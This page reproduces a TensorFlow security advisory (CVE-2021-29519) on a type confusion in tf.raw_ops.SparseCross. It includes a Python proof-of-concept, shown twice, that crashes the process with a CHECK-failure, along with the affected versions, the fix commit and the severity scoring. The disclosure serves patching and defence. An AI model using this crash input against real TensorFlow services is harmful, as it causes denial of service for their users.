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Severe, 6 weeks1496Projects326

1496 severe, 6 weeks · 326 projects

TensorFlowGHSA-772j-h9xw-ffp5

CHECK-fail in SparseCross due to type confusion

TensorFlow

CVE-2021-29519 · Published May 21, 2021 · updated Jul 8, 2026

Low2.5
Fix: upgrade to 2.1.4 or later (4 fixed versions below)
GitHub advisory

Impact

The API of tf.raw_ops.SparseCross allows combinations which would result in a CHECK-failure and denial of service:

```python

import tensorflow as tf

hashed_output = False

num_buckets = 1949315406

hash_key = 1869835877

out_type = tf.string

internal_type = tf.string

indices_1 = tf.constant([0, 6], shape=[1, 2], dtype=tf.int64)

indices_2 = tf.constant([0, 0], shape=[1, 2], dtype=tf.int64)

indices = [indices_1, indices_2]

values_1 = tf.constant([0], dtype=tf.int64)

values_2 = tf.constant([72], dtype=tf.int64)

values = [values_1, values_2]

batch_size = 4

shape_1 = tf.constant([4, 122], dtype=tf.int64)

shape_2 = tf.constant([4, 188], dtype=tf.int64)

shapes = [shape_1, shape_2]

dense_1 = tf.constant([188, 127, 336, 0], shape=[4, 1], dtype=tf.int64)

dense_2 = tf.constant([341, 470, 470, 470], shape=[4, 1], dtype=tf.int64)

dense_3 = tf.constant([188, 188, 341, 922], shape=[4, 1], dtype=tf.int64)

denses = [dense_1, dense_2, dense_3]

tf.raw_ops.SparseCross(indices=indices, values=values, shapes=shapes, dense_inputs=denses, hashed_output=hashed_output,

num_buckets=num_buckets, hash_key=hash_key, out_type=out_type, internal_type=internal_type)

`

The above code will result in a CHECK fail in [tensor.cc](https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/framework/tensor.cc#L670-L675):...

Affected versions

PackageAffectedFixed in
tensorflow
PyPI
< 2.1.42.1.4
>= 2.2.0, < 2.2.32.2.3
>= 2.3.0, < 2.3.32.3.3
>= 2.4.0, < 2.4.22.4.2
Details and references

### Impact The API of `tf.raw_ops.SparseCross` allows combinations which would result in a `CHECK`-failure and denial of service: ```python import tensorflow as tf hashed_output = False num_buckets = 1949315406 hash_key = 1869835877 out_type = tf.string internal_type = tf.string indices_1 = tf.constant([0, 6], shape=[1, 2], dtype=tf.int64) indices_2 = tf.constant([0, 0], shape=[1, 2], dtype=tf.int64) indices = [indices_1, indices_2] values_1 = tf.constant([0], dtype=tf.int64) values_2 = tf.constant([72], dtype=tf.int64) values = [values_1, values_2] batch_size = 4 shape_1 = tf.constant([4, 122], dtype=tf.int64) shape_2 = tf.constant([4, 188], dtype=tf.int64) shapes = [shape_1, shape_2] dense_1 = tf.constant([188, 127, 336, 0], shape=[4, 1], dtype=tf.int64) dense_2 = tf.constant([341, 470, 470, 470], shape=[4, 1], dtype=tf.int64) dense_3 = tf.constant([188, 188, 341, 922], shape=[4, 1], dtype=tf.int64) denses = [dense_1, dense_2, dense_3] tf.raw_ops.SparseCross(indices=indices, values=values, shapes=shapes, dense_inputs=denses, hashed_output=hashed_output, num_buckets=num_buckets, hash_key=hash_key, out_type=out_type, internal_type=internal_type) ``` The above code will result in a `CHECK` fail in [`tensor.cc`](https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/framework/tensor.cc#L670-L675): ```cc void Tensor::CheckTypeAndIsAligned(DataType expected_dtype) const { CHECK_EQ(dtype(), expected_dtype) << " " << DataTypeString(expected_dtype) << " expected, got " << DataTypeString(dtype()); ... } ``` This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/kernels/sparse_cross_op.cc#L114-L116) is tricked to consider a tensor of type `tstring` which in fact contains integral elements: ```cc if (DT_STRING == values_.dtype()) return Fingerprint64(values_.vec<tstring>().data()[start + n]); return values_.vec<int64>().data()[start + n]; ``` Fixing the type confusion by preventing mixing `DT_STRING` and `DT_INT64` types solves this issue. ### Patches We have patched the issue in GitHub commit [b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025](https://github.com/tensorflow/tensorflow/commit/b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

CVSS 3.1
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
Severity from
GitHub (reviewed advisory)
Weakness
CWE-843
Also known as
BIT-tensorflow-2021-29519, CVE-2021-29519, PYSEC-2021-156, PYSEC-2021-447, PYSEC-2021-645

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